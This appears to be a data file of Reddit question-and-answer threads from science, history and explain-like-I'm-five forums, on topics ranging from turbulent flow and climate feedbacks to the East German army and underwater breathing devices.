{"q_id": "ad9csn", "title": "Why is it apparently impossible to create a velocity profile for fluids with turbulent flow, but not laminar?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ad9csn/why_is_it_apparently_impossible_to_create_a/", "answers": {"a_id": ["edfsg5x", "edgrh8m", "edhwhdi"], "score": [2, 2, 2], "text": ["Turbulent water is incredibly chaotic, but laminar flow is smooth and easily predictable.\n\nTo add a little bit to this: laminar flow can be accurately represented with many different \"models\" of water behavior. Turbulent flow is nearly impossible to model correctly. For turbulent water, you need to track the more continuous overall fluid mechanics, you have to account for water molecules being participate in nature, and you have to worry about inter-molecular forces like surface tension, which can help create little spray droplets. These three models do not mesh well at all, and I'm probably still ignoring some of the important features that are needed to describe turbulent water.", "When U try to determine the average conditions and write down the equations you get second-order statistical terms involving the cross-correlations between the velocity terms. When U derive the equation for the second-order terms it contains third-order statistical moments, etc. This is the turbulence closure problem and only approximations to it have been solved. ", "The problem is that in fluid dynamics, you can't really smooth over small scale fluctuations without introducing an error. When you try to make a smooth large-scale average, the terms don't cancel out, and you end up with extra bits that you have to create some model for. Turbulence is a cascade of eddies that goes all the way down to the molecular scale, so there's velocity all the way down. So you need to either create a velocity profile that's accurate down to the individual molecules, or you need to make a large-scale average and include some approximate formulation for how you expect turbulence to go in your system. (This is particularly tricky in astrophysics where your turbulent overdensities eventually turn into supernovae).\n\nWith laminar flow, you have - by definition - a flow that doesn't have any interesting details below a certain scale length. So then you actually can smooth over the small scale bits and get an accurate answer, without going to the molecular scale."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "552ei3", "title": "what does it mean that the carbon in our atmosphere has passed the point of no return?", "selftext": "In this newly released article it states Earth is passed the point of no return and we're all fucked basically. Are we really that screwed over and is there really no way to reverse such a fuck up?\n\nEDIT: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/552ei3/eli5_what_does_it_mean_that_the_carbon_in_our/", "answers": {"a_id": ["d871u5w", "d87b3m8", "d87j2yo"], "score": [61, 2, 2], "text": ["Scientists anticipate that there are certain feedback loops, which mean the warmer it gets, the easier it is to get warmer.\n\nImagine sitting in a waggon with rusty wheels. The wheels are so locked up that even though you are on a slight decline you aren't  moving. You add a few books to the wagon for more weight and now you start to roll a bit. But you have a little bike style handbrake set up and can keep.movimg down the hill slowly.\n\nBut the more you do, the more rust starts to get knocked off the wheels. It starts to roll faster. You squeeze the break more... but the faster you go, the hotter the break becomes and the less effective its grip. So you move faster and faster. At this point you throw out the books hoping to return to how things were at the top of the hill, but its too late.\n\nFeedback loops such as melted water catching more sunlight than ice are one such reason some scientists are saying that we passed the tipping point where throwing out the books (cutting our emissions) won't get us back to the top of the hill. That doesnt mean we should keep asking people to push us faster though.\n\nThe other thing to remember is that the earth will be fine. The earth doesn't care if the US becomes a dessert and canada becomes an oasis. Earth doesn't care if florida is above or below water. But people, government, individuals have built certain ways of life, certain standards of living, certain settlement patterns, certain alliances etc. These adapt far slower than the milenia and millions of years that earth gives itself to respond.", "Everyone's giving great answers, but I'd like to add to the \"fucked\" part of your statement.  We probably aren't.  Even if there were no climate change now, humanity would still look very different in 100, 200 years.  The rate of discovery humanity is moving at gives me hope that we'll find a way to deal with global warming before it's too late now though.  And even if it gets too late, what we're looking at is the ability to deal with it then.  However, the longer it takes, the more irreversible damage happens.  Species that go extinct can't come back, even if the world returns to pre-industrial levels.", "It's a hypothesis derived not from the direct forcing of CO2, but of the amplication feedback effects from that initial warming of extra CO2 in the atmosphere. An example would be albedo reduction.\n\nWhen light from the sun enters the atmosphere, CO2 doesn't interact with most of it. That light hits the land / water and warms it. The Earth then radiates that heat away through blackbody radiation. This is in the infrared spectrum. CO2 does interact with IR radiation, absorbing it and reradiating some of that energy back out. In random directions. Some back to space, but some back to Earth (where without CO2 it would all go right to space).\n\nThat's the basic theory of greenhouse gases, well understood. The amplification effect from albedo is where a reflective surface bounces that initial sunlight away from Earth before being absorbed. At the same wavelengths it came in at, so CO2 doesn't trap it. The most common source of albedo is ice. \n\nMore warming = less ice = more warming = less ice, etc etc.\n\nThe good news is while there are many positive amplifications, the net of feedbacks is unclear, because there are negative feedbacks too that diminish the overall warming. The most critical is the exponential of blackbody radiation. As temperature increases, the amount of heat radiated away increases by a factor of 4. So if the Earth warms up, it'll push more energy out. Without that physical reality, we'd be screwed.\n\nThe crux of this whole issue is we really don't know exactly how much warming we will get from the extra CO2 we've added to the atmosphere. Without feedbacks the IPCC states that warming directly from CO2 doubling in the atmosphere is about 1 degree celcius globally.\n\nThe IPCC states the likelihood is the net of feedbacks is positive, but the range is very broad. Between 1.5C to 4.5C of total warming is possible. The high end of that range would be really bad, the middle range would be problematic but adaptable, and the low end would yield little consequence. \n\nOf course, even the effects of the warming we aren't sure we'll get are uncertain. That's the main problem with how climate change is discussed in science and most predominantly the media, everything is stated as a certainty. No discussion of the uncertainties, vagueries and probabilities of anything. That is misleading by omission. \n\nThe best bet for any of us is to remain calm and do our best to adapt to whatever happens, good, ugly or catastrophic, it's coming. We're humans. We're good at survival. In fact, we're the best species in the universe at it. (That we know of)."]}, "title_urls": [], "selftext_urls": ["http://www.complex.com/life/2016/09/enjoy-earth-while-it-lasts-atmospheric-carbon-levels-pass-point-no-return"], "answers_urls": [[], [], []]}
{"q_id": "8enz3u", "title": "why can\u2019t they make artificially flavored na spirits? like bourbon/tequila flavor, etc for use in non-alcoholic cocktails?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8enz3u/eli5_why_cant_they_make_artificially_flavored_na/", "answers": {"a_id": ["dxwosh6", "dxwowmu", "dxwp338"], "score": [3, 3, 2], "text": ["I suspect that such things could be made, but there likely isn't a large enough market to drive production.", "They \\(kind of\\) can but more often than not the imitations will miss the mark.\n\nThe issue is that the distinctive flavours these drinks have come about thanks to the brewing/distilling process \\- without going through that process it's difficult \\(i.e. close to impossible\\) to accurately mirror the same flavours. \n\nBut just google \"non\\-alcoholic \\[drink name\\]\" and you'll get a hit for at least one option for almost every type of booze \\- it just depends on how picky you are if you're willing to consider the non\\-alcoholic option to be a reasonable alternative or not. ", "They exist. It's just that they miss the taste of the alcohol. If you remove that from liquors, it's just sweet and/or sour water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8bfza8", "title": "Did MI5 ask Ulster Loyalists to assassinate Irish Head of Government Charlie Haughey?", "selftext": "At the start of the year, Irish state papers, released under the 30-year rule, revealed documents relating to a purported attempt by British security agency MI5 to use the UVF (pro-British paramilitaries) to assassinate Charlie Haughey, the Irish Taoiseach (Prime Minister) in 1987. The letter, send to the Irish government on UVF headed paper, and believed at the time to be genuine said that the UVF had refused: \u201cWe have no love for you but we are not going to carry out work for the Dirty Tricks Department of the British.\u201d [The Irish Times](\n_URL_1_)\n[The Guardian](_URL_0_)\n\nWhat is the historical consensus, if any, on this incident? Was the assassination by proxy of the leader of another country an unprecedented action by British security services? Did other states carry out such operations? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8bfza8/did_mi5_ask_ulster_loyalists_to_assassinate_irish/", "answers": {"a_id": ["dx6iq3r"], "score": [4], "text": ["Follow-up question: What could be the reason for the British to want to have Haughey assassinated?"]}, "title_urls": [], "selftext_urls": ["https://www.theguardian.com/world/2017/dec/29/mi5-urged-uvf-to-kill-irish-pm-claim-newly-released-state-papers", "https://www.irishtimes.com/news/ireland/irish-news/loyalists-told-charles-haughey-mi5-asked-us-to-execute-you-1.3339804"], "answers_urls": [[]]}
{"q_id": "e9b63k", "title": "Why did the GDR have it's own army?", "selftext": "I haven't heard of any war where the NVA was involved.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e9b63k/why_did_the_gdr_have_its_own_army/", "answers": {"a_id": ["fbmadpv"], "score": [2], "text": ["For its first half decade, the German Democratic Republic did not have an army. The establishment of the National People's Army (*Nationale Volksarmee* or NVA) was only made possible by 1955 amendments to the GDR's constitution. In the same year, the GDR signed the Warsaw Pact. There were predecessors to the NVA, though: The paramilitary *Volkspolizei* and *Grenzpolizei*, for example. In 1952, the *Kasernierte Volkspolizei* (\"Barracked People's Police\") was established - the core of what would become the People's Army. \n\nThe official justifications for the founding of the the NVA were presented to the *Volkskammer* by East German politician Willi Stoph - the Interior Minister, Deputy Prime Minster, and first Defense Minister - [on January 18, 1956](_URL_0_). He portrayed the creation of the Army as a demand of the East German people, an \"essential undertaking\" that was \"fully in accord with the interests of the working population.\" A military was absolutely necessary for the fulfillment of East Germany's obligations to its Warsaw Pact allies and to express the full maturity of East German sovereignty. As often happened, Eastern Bloc militarism was expressed in terms of \"safeguard[ing] peace\" rather than simply making war. \"What is coming into being is a new army of the German people and its working class, free of any aggressive aims.\" \n\nStoph attempted, through the National People's Army, to claim for East German socialism ownership of Germany's nationalistic military tradition. \"In contrast to the West German mercenary units, which wear American uniforms,\" he explained, \"our National People\u2019s Army will wear German uniforms which conform to the national traditions of our people. There are important progressive traditions in our people\u2019s military history, and these also find their expression in military uniform.\"\n\nIt is important to understand the reactive quality of East German military policy: It was fundamentally a response to similar developments in West Germany. Stoph argued that the NVA would \"ensure that the imperialists and militarists are kept in check and all their experiments are frustrated.\" \"No responsible democrat or patriot,\" he claimed, \"will close his eyes to developments in West Germany.\" Those developments included the 1952 European Defesne Community Treaty, which presaged West Germany's entry into NATO and the stationing of NATO troops in West Germany, the official incorporation of West Germany into NATO in October 1954, and the November 1955 creation of the West German *Bundeswehr*.\n\nThe NVA was never deployed in any large-scale, active military engagement. It was spared, for example, participation in the 1968 Warsaw Pact invasion of Czechoslovakia. But the Army would eventually serve an active role in the maintenance of the country's sealed border. (To the East German government, these two purposes were identical: Sealing the border to keep East Germans from leaving was itself an act of national defense.) In 1961, the *Grenzpolizei* were incorporated into the NVA and renamed *Grenztruppen* - border troops. They guarded the Inner German Border and the Berlin Wall until the end of the Cold War, preventing East German citizens from committing *Republikflucht* (\"Desertion of the Republic\") - sometimes with deadly force. In the fifteen years following the reunification of Germany, more than fifty soldiers were put on trial in German courts for crimes like murder or manslaughter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ghdi.ghi-dc.org/sub_document.cfm?document_id=3043"]]}
{"q_id": "r8q9d", "title": "What is a topological insulator?", "selftext": "I can read the articles over on Wikipedia about [topological insulators](_URL_1_) and [topological order](_URL_0_) but they are not really helpful. I recognise some of the technical jargon, but it does not come across as understandable. Is there a simpler explanation that gets across the main idea and principles behind topological insulators?\n\nMostly I'm wondering why these materials are so fascinating to some physicists right now, and I want to understand what is driving the discovery of these highly unusual materials. I don't know what other chemists think, but to me, the composition of these materials (and others like those used in superconductivity) look *very* odd, and a chemistry background doesn't seem helpful at all for understanding and making sense of them. It would be great to be able to make a connection between these two fields. Are there any review papers / reading materials to recommend?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r8q9d/what_is_a_topological_insulator/", "answers": {"a_id": ["c43wi6a", "c43wu4d", "c440lul"], "score": [4, 5, 2], "text": ["Mathematician's perspective here. When thinking about geometry, you can think globally and locally. An example of thinking locally is thinking about the metric of a space at a point. It's quite intuitive to think about physics in terms of locally defined quantities in some geometric space.\n\nHowever there is a global aspect to geometry. The nicest example I can think of is the [Gauss-Bonnet theorem](_URL_0_). The Gauss-Bonnet theorem tells you that if you integrate all the curvature of a surface and its boundary, you get a specific number that is a discrete multiple of 2*pi! That number doesn't depend on the curvature of the space at all, only the topological properties of the space. Topological properties are not affected by distortions of space. You can bend, twist, stretch all you want and the topology of the space stays the same. For example, a coffee cup and a donut are topologically the same. [A nice picture courtesy of wikipedia.](_URL_1_)\n\nNow what does this have to do with physics? Well, when you're talking about matter, you're talking about effective field theories. There's a class of such theories whose physics *don't depend on the metric of the space they're defined on*. These are called topological quantum field theories. Since they don't depend on the metric, the only thing they can care about is the topology of the space. Hence, they only depend on 'global' properties.", "I don't have time for a full response with my own personal input, but see below:\n\nThe Hasan-Kane review article is a well-known one, and at the end of the intro section it references several of the other reviews: _URL_0_\n\nThis article in Physics Today is also nice for a broader, briefer perspective: _URL_1_\n\nI also refer you to the slides from a set of tutorial talks from the 2011 APS March Meeting, especially the first one by Joel Moore: _URL_2_\n\nMaterials growers are working hard to get these materials optimized for physics experiments beyond ARPES and STM, and I'm sure any scientists with relevant knowledge (i.e. physical chemists ;) ) would be welcome to help solve these problems. For example, one known issue is that the surfaces of these crystals degrade upon exposure to ambient atmospheric conditions. The electronic surface states are \"topologically\" protected as promised, i.e. they still exist, but their \"quality\" is significantly reduced (badger me and I can answer what \"quality\" means later). Note that surface states in other, \"non-topological\" systems typically get destroyed upon such exposure, so one of the interesting facts about TIs is the fact that the surface states are \"protected\", in a sense, regardless of how much the actual surface's structure gets screwed up. \n\nHope this helps! If anyone has more questions, or wants more information, I can return later. \n\n*edit: more info", "I find that [this brief intro](_URL_0_) to topological insulators is generally well-received when I've referred it to others in the past.\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Topological_order", "http://en.wikipedia.org/wiki/Topological_insulator"], "answers_urls": [["http://en.wikipedia.org/wiki/Gauss\u2013Bonnet_theorem", "http://upload.wikimedia.org/wikipedia/commons/2/26/Mug_and_Torus_morph.gif"], ["http://rmp.aps.org/abstract/RMP/v82/i4/p3045_1", "http://physicstoday.org/journals/doc/PHTOAD-ft/vol_63/iss_1/33_1.shtml", "https://sites.google.com/site/xlqistanford/home/talks"], ["http://scienceblogs.com/principles/2010/07/whats_a_topological_insulator.php"]]}
{"q_id": "3hjqim", "title": "Is Norman Cantor's In The Wake of The Plague credible?", "selftext": "I just bought this book for 20 USD. I find it very interesting so far, but it tends to wander a lot. However, I noticed he talked about the ring around the rosies rhyme. He mentions that it was made to help cope with the horrors of the 'pestilence', while I always heard it was about how people attempted to ward off the plague. Many others also say it is historically inaccurate. Especially on amazon, where most ratings are 1 star. Is it?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hjqim/is_norman_cantors_in_the_wake_of_the_plague/", "answers": {"a_id": ["cu866rd", "cu86xi1"], "score": [3, 3], "text": ["Well, the rhyme has been interpreted to be referencing the plague, but there are some problems with that; the earliest version of the rhyme reported is 1790, with it being first printed in 1881. While that doesn't mean that original forms are about the plague, the language of the earlier versions doesn't hew particularly closely to the modern version, and the lines that people commonly interpret to be about the plague - the sneezing and reference to the 'pocket full of posies' (a tenuous link in any case) - are not present in all the earlier versions of the song. A version printed in 1883, but reportedly from the 1790s in Boston, has the lines 'a bottle full of posy/all the girls in our town/ring for little Josie'.\n\nA final nail in the coffin is that the plague interpretation didn't appear until the mid-twentieth century, some 300-odd years after the fact. Before then, no link is drawn.", "I can't provide a full review but I purchased a copy of this book last year and couldn't make it through the first chapter before I gave up on it. In establishing the background for the Black Death he played pretty fast and loose with his facts and showed  a really strong bias from very early on. He was going pretty full-on for a 'The Middle Ages were Barbaric and Backwards' approach with no room for nuance or discussion, if I'm remembering it correctly. I gave up pretty quickly because I definitely felt like I wasn't going to get a fair or well reasoned account of the Black Death based on how he handled setting the scene. \n\nUnfortunately, as I mentioned I didn't read the whole thing and I'm not an expert on the Black Death (I had bought the book to learn more) so I can't provide a more detailed critique than that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3fmy0h", "title": "mustard is thick. honey is thick. mix them together to make honey mustard and it's thin. why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fmy0h/eli5_mustard_is_thick_honey_is_thick_mix_them/", "answers": {"a_id": ["ctq1u6q", "ctq7wmp", "ctq8yqi", "ctqby5n"], "score": [7, 2, 14, 16], "text": ["Typical honey mustard recipes also add mayo and lemon juice/vinegar which are all much thinner than either honey or mustard.", "One possibility is that the mechanism for thickening is different for each substance, and when they are diluted by mixing, they no longer contribute as much to the viscosity. It is also possible that some of the ingredients actually interfere with the thickening of the other substance.", "Yellow mustard isn't particularly thick. It is just a bunch of solids suspended in a fluid that gives its a relatively viscous flow, but what happens if you don't shake it (to get all the solids homogenized)? It squirts that nasty yellow fluid and ruins your hotdog. \n\nSo what I think is actually happening is that the fluid from the mustard dilutes the honey. This new diluted form of honey becomes the liquid the mustard solids are suspended in. Thus it is thinner than honey. Because it is a little more viscous than the mustard, however, it requires much more agitation to homogenize the solids and make it 'thick' like mustard.", "What you have in the case of mustard is an emulsion - mustard is an emulsifier (thickener) that is mixed with other ingredients (air, vinegar, oil in fancy mustards) resulting in a stable liquid.  In the cooking world, emulsions would include vinaigrettes, soups, sauces, custards, various pastries and candies, beverages, and countless other examples.  Many emulsions are not permanent and will eventually split into layers of different density as the ingredients separate, like the liquid layer that ruins your bread if you dont shake your mustard.\n\nEmulsions depend on specific conditions to last, and those conditions depend on the emulsifier and method. One key factor affecting an emulsion is the ratio of the ingredients.  If the ratio gets too far from the optimal ratio, your emulsion will separate and your sauce, dressing, etc will 'break' into its separate parts.\n\nAdding honey to the mustard thins the mixture because the optimal ratio has been lost - the act of mixing the ingredients in this case, coupled with the addition of water in the honey, results in a much poorer emulsion and a thin, sometimes curdled-looking result.\n\nAdding another strong emulsion like mayonnaise will help to stabilize the honey/mustard mixture and result in a thicker and creamier end result.\n\nedit: pselling"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "254qbe", "title": "Why is slightly rotating things while pulling out easier, than only pulling without rotating?", "selftext": "Sry for MY bad english. And thanks for any reply! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/254qbe/why_is_slightly_rotating_things_while_pulling_out/", "answers": {"a_id": ["chdqk1h", "che01q3"], "score": [100, 2], "text": ["For a variety of frictional and adhesive forces, the strength of the force is reduced once an object is in motion.  Additionally, for a wide enough object, it's generally easier to exert a torque to produce twisting than a linear force for pulling, because torque increases with the radius of rotation, independent of applied force.  The twisting motion makes the object move, reducing the adhesive force, which then makes pulling easier.", "In addition to the noted static vs. kinetic friction reasons, I also offer the following:\n\nkinetic friction will be pointing in the same direction as velocity, and thus the direction you are pulling.\n\nIf you can overcome the friction and make it turn, applying some outwards force while continuing to turn will mean that you're sharing the friction between your outwards pull and your rotation.  You can apply as much or as little force as you want, and get a corresponding amount of extraction when you're rotating it, compared to if you didn't turn it, it would be an all-or-nothing sort of thing.\n\nAs a side effect of this, the faster it turns, the lower your effective friction in the \"pulling out\" direction is.  \n\n---\n\nE: As a bit of psychology as well: if you put a whole bunch of force into pulling it out, it will be unpleasant when it suddenly lets go, allowing your hand and the various things you're holding go flying.  If you put a lot of force into rotation, there's really nowhere to go (it rotates, but that's fine), so there's less of a mental block against exerting as much force as you can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "p6lk7", "title": "how would backing the usd with gold actually happen?", "selftext": "The US has a little over 1 trillion dollars in 'money' that would certainly have to be backed by gold, but up to 10~12 TN if you look at all the money in accounts and what not which you would almost certainly have to do.\n\nThe US government has $278.3 billion in gold given today's evaluation. What would you do with all that extra money? Burn it? Buy more gold and fuck the market?\n\nI feel like I'm missing something that a 5 year old wouldn't. Or having an incredibly bad brain fart (a rick perry?).", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/p6lk7/eli5_how_would_backing_the_usd_with_gold_actually/", "answers": {"a_id": ["c3mx8bt", "c3myy8m", "c3n08mm"], "score": [3, 10, 19], "text": ["The point you are missing that US Dollar as well as most other currencies are no longer backed by gold or any other commodity. This relationship stopped long ago.\n\nThe US Dollar is a fiat currency, and thus is backed by US Dollar itself. It is therefore important for governments to control their deficits otherwise the future dollar, the very basis for existence of today's dollar would collapse. ", "The U.S. economy became too big long ago for the dollar to be backed by gold.  There is isn't enough gold in circulation to accomplish this.  The U.S. would have to buy all the world's gold, and more, to be able to accomplish this now.", "Assuming that people are crazy and ignore drake92's excellent answer, you'd open what's called a \"Gold Window\".  Basically that means that for a fixed exchange rate (you could make that whatever you want) the government would exchange money for gold, and gold for money.\n\nSay you and your friends like to trade a lot.  You trade baseball cards, video games, all kinds of stuff.  You used to trade in POGs, but people aren't really into POG any more, so lately you've had to trade *a lot* of POGs even for a really crappy game like \"Lee Carvello's Putting Challenge.\"\n\nSo your friend Don get's this idea.  Why not link POGs to something people *really* value.  Like a Big Wheel.  Everyone likes Big Wheels.  That way POGs will always be worth something because Big Wheels are always worth something.  Everyone agrees this is a great idea.\n\nSo, first you need some big wheels.  You and your friends pool all your big wheels together and put them in a shed.  Next you need apoint someone to trade Big Wheels for POGs and vice versa.  Don volunteers, and since it was his idea, everyone's OK with letting him run things.\n\nNext you need to set an exchange rate.  You decide that 100 POGs can be traded for one Big Wheel.\n\nFor a while things are going swimmingly.  Everyone can take a Big Wheel to Don, and Don will give them 100 POGs for it.  Similarly, anyone can take 100 POGs to Don and get a Big Wheel.  People mostly hold on to the POGs though, because Big Wheels are ... well ... big.\n\nA few years pass, and surprisingly things are still costing more and more each year.  You have a bunch of POGs saved up, and you think to yourself, what am I going to do with all these POGs!  I'd rather have a Big Wheel.  So you go to Don and trade in your POGs for a Big Wheel.  You notice a bunch of your friends are also doing this.\n\nThen something *really* interesting happens.  Things start getting **cheaper**.  It's working!  Amazing!  Don was right!  The POGs retain their value because you can exchange them for Big Wheels.  Really interesting is you notice that Ken Griffey Jr. rookie card is starting to look really cheap.  You could probably afford it!  Man, that Don's a good guy!  But you know, since things are getting cheaper right now, you could probably wait a few days and get the card **even cheaper**.  \n\nSo you wait.\n\nAnd so do your friends.\n\nIn fact, no one's really trading anything any more, and eventually the whole thing breaks down.\n\nAfter a few months things start to get working again, but in the mean time you cool little trading system is much smaller than in was before, and lots of people that used to trade don't.\n\nThen something really terrible happens.  This rich kid shows up to down with a whole **bunch* of Big Wheels.  He likes your trading system so he trades in some of his Big Wheels for POGs, and starts buying stuff left-right-and-centre.  Suddenly all those POGs that Don had hidden under his desk are back out trading again.  Prices are rising at a crazy rate, and all the POGs you saved up are nearly worthless.\n\n**tl;dr**\n\nAustrians want to fix the money supply with makes a lot of sense in theory, but in practice (and we *have* done this before) what happens is you cause regular deflationary spirals and put lots of people out of work.\n\nMonetarists believe in growing the money supply but at a fixed rate every year.  That way you have inflation, but don't have a shadowy government figure controlling it.  (Although in reality you still do.)\n\nKeynesians believe in growing the money supply when you need more money, and shrinking it when you don't, and growing it at about the same rate the Monetarists want to.  (This requires trust in a central authority to decide when to grow and shrink the money supply.)\n\nA gold standard won't do any of these things because your money supply grows and shrinks with the availability of gold."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "11ix92", "title": "What do we know about the Cimbri and Teutones?", "selftext": "I was listening to Dan Carlin's Hardcore History and he talks about these two probably-Germanic people groups, the Cimbri and Teutones, that attacked Rome. He mentioned that we know very little about these people. So what do we know? What evidence do we have that they were Germanic? Do we have any evidence that they weren't Germanic?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11ix92/what_do_we_know_about_the_cimbri_and_teutones/", "answers": {"a_id": ["c6mzq6i"], "score": [6], "text": ["AFAIK, those two tribes didn't get as far as Rome, but fought the Romans in the area around Marseille. This happened around the first century BC, in a time when the Roman state was still a Western Mediterranean thing, so they didn't really know much of what was up in the area north of the Alps. As the distinction between Celts and Germanics was only made, by the Romans, after Caesar's conquests and firmly set in the centuries AD, in my opinion it is irresponsible to distinguish those peoples before this time. However, there probably was a sliding scale of 'germanicness' and 'celticness' throughout modern France and Germany based on things like shared gods, language, or art. The Cimbri and Teutones both 'still' exist by the time of the Roman geographers of the first century AD, who place them in Jutland. However, tribe-names are often very flexible and adaptable to the current political circumstances, and tend to move around a lot, so this does not mean that the people from 100 BC also came from this area. The historical text itself also states that the Cimbric/Teutonic invasion picked up other tribes along the way, among which are the Boii, who are, according to Caesar, clearly Celts.\n\nSo to sum up: they were probably a mix of several Iron Age peoples, united in a single army under the tribe-names of the Cimbri and Teutones.\n\n\nAn interesting aside: the narrative of the Cimbric Wars tells of a practice of the Cimbri after their victory over the Romans, where they take all the war booty and destroy it (chop it up) in sacrifice. Curiously, in the first century AD, exactly that same practice is done by people in Denmark, who chop up war booty and deposit it in lakes. There is some evidence that this also happened at the battles of Kalkriese and a later battle at Harzhorn, though with a slightly different flavor. Similarly, the Celtic site of Ribemont-sur-Ancre in Northern France also has piles of bones from defeated warriors and their equipment, but again the setting is slightly different."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "md62n", "title": "How close are we to having a device allowing us to breathe the oxygen dissolved in water?", "selftext": "Or at least tell me that someone's working on it, at least. SCUBA gear is cumbersome and strongly limits one's time underwater. I want to be able to be down there more or less indefinitely.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/md62n/how_close_are_we_to_having_a_device_allowing_us/", "answers": {"a_id": ["c2zyoiu", "c2zyqdz", "c2zysgt", "c2zzmpt", "c300lef", "c300po5", "c3025px", "c302bjx", "c2zyoiu", "c2zyqdz", "c2zysgt", "c2zzmpt", "c300lef", "c300po5", "c3025px", "c302bjx"], "score": [15, 22, 8, 228, 3, 2, 4, 2, 15, 22, 8, 228, 3, 2, 4, 2], "text": ["Strongly limits? Using [a rebreather](_URL_0_) will allow you to stay under for over ten hours, depending on the type. Even if a functional apparatus is ever developed that lets you breathe dissolved oxygen or the oxygen released from splitting water molecules, it'll take bloody ages before it's smaller than a rebreather*.\n\n* Note: rebreathers are *way* more dangerous to dive with than regular scuba outfits. Never say that I encouraged you to use one. ", "It takes energy to extract oxygen from water.  Such devices exist and are used on submarines.  However, the equipment is far too big to go diving with.  Instead of a SCUBA tank strapped to your back you'd have a machine and a big battery strapped to your back which probably is not an improvement.\n\nActually [this company](_URL_0_) is working on such a system and claim various breakthroughs to a workable model.  Have to wait and see I guess.\n\nEDIT:  Also, for that system to work well for a diver the oxygen extracted will need to be compressed which means a compressor and another thing that uses power.  If you do not do this you won't be able to dive very deep at all (a few feet).", "Another such device exists that lasts practically indefinitely -- a nuclear sub that can extract oxygen from water through electrolysis.\n\nFar more cumbersome, but meets the question asker's \"indefinitely\" criteria.", "There was a lot of discussion about this sort of thing back when [Perflubron](_URL_2_) first came out.\n\nSome relevant chemistry and physiology here:\n\nAt saturation, cool water carries [about 10 ppm oxygen.](_URL_1_) With a demand for [840 grams of oxygen per day,](_URL_0_) that works out to 35 grams of oxygen per hour for a human, or about 583 mg/minute.\n\nAt 10 parts per million oxygen in water (10 mg/L), one would need to filter about 60 liters of water every minute, extracting oxygen with 100% efficiency, to support human life. That's an awful lot of water, and you'd better have a pony bottle or some other reservoir if you get into warm water (less dissolved oxygen), or an area in which oxygen was depleted (lots of organic matter, etc.).\n\nSo, you'd need a pretty big battery back to run the filtration, pumps, etc. to extract that oxygen. Frankly, carrying chemical packs to remove the carbon dioxide and a cylinder of oxygen to make up what is consumed (i.e., a rebreather) is more effective in terms of existing technology- at least the technology that is at the level of what is known to the civilian world.", "Why just the oxygen that is dissolved in water?  Why not chemically extract the oxygen from water and use that?", "Well then, how do gills in fish work?", "Interestingly down the lines of your question, there is a company [in Pittsburgh](_URL_0_) developing a lung-less breathing apparatus. Its sort of like Dialysis in that blood goes out of the body, gets oxygenated rather than filtered, and comes then back in to the body.  [More here](_URL_0_docs/MJ_62010.pdf).  \n\nSo it does utilize the ability to breath without lungs, although not with the oxygen from water.  \n\nThe original design of the system (I believe from interviewing there once) had the goal of doing this all within a small catheter, but I think the design got taken out of the body in order to simplify design and attach the design to a particular market (lung transplants).\n", "Oxygen is only slightly dissociated in water.  For the most part, water (H2O) dissociates into H+ and OH- ions.  Additionally, dissolved oxygen would have a charge of 2-, which is quite different from an uncharged O2 molecule.  A device like this isn't really practical as a result and would be much more cumbersome than scuba gear.  Hope this helps.", "Strongly limits? Using [a rebreather](_URL_0_) will allow you to stay under for over ten hours, depending on the type. Even if a functional apparatus is ever developed that lets you breathe dissolved oxygen or the oxygen released from splitting water molecules, it'll take bloody ages before it's smaller than a rebreather*.\n\n* Note: rebreathers are *way* more dangerous to dive with than regular scuba outfits. Never say that I encouraged you to use one. ", "It takes energy to extract oxygen from water.  Such devices exist and are used on submarines.  However, the equipment is far too big to go diving with.  Instead of a SCUBA tank strapped to your back you'd have a machine and a big battery strapped to your back which probably is not an improvement.\n\nActually [this company](_URL_0_) is working on such a system and claim various breakthroughs to a workable model.  Have to wait and see I guess.\n\nEDIT:  Also, for that system to work well for a diver the oxygen extracted will need to be compressed which means a compressor and another thing that uses power.  If you do not do this you won't be able to dive very deep at all (a few feet).", "Another such device exists that lasts practically indefinitely -- a nuclear sub that can extract oxygen from water through electrolysis.\n\nFar more cumbersome, but meets the question asker's \"indefinitely\" criteria.", "There was a lot of discussion about this sort of thing back when [Perflubron](_URL_2_) first came out.\n\nSome relevant chemistry and physiology here:\n\nAt saturation, cool water carries [about 10 ppm oxygen.](_URL_1_) With a demand for [840 grams of oxygen per day,](_URL_0_) that works out to 35 grams of oxygen per hour for a human, or about 583 mg/minute.\n\nAt 10 parts per million oxygen in water (10 mg/L), one would need to filter about 60 liters of water every minute, extracting oxygen with 100% efficiency, to support human life. That's an awful lot of water, and you'd better have a pony bottle or some other reservoir if you get into warm water (less dissolved oxygen), or an area in which oxygen was depleted (lots of organic matter, etc.).\n\nSo, you'd need a pretty big battery back to run the filtration, pumps, etc. to extract that oxygen. Frankly, carrying chemical packs to remove the carbon dioxide and a cylinder of oxygen to make up what is consumed (i.e., a rebreather) is more effective in terms of existing technology- at least the technology that is 